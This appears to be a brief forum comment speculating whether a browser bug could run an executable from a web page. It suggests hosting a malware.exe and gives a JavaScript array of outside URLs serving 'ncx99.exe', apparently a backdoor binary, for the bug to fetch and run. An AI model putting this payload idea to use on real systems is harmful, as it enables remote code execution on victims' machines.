Another thought... will this bug run an executable from a web page? If so you could just make your own binary to do whatever you wanted. Like <http://mysiteathome.com/malware.exe> or something along those lines. I would HOPE that it asks to save the file to disk or even better ignore it all together. Maybe try something like:

```
var programName=new Array(  
    'http://mysiteathome.com/ncx99.exe',  
    'http://someothersite.com/ncx99.exe',  
);
```

I would do this myself but I don't have any windows boxen to test.
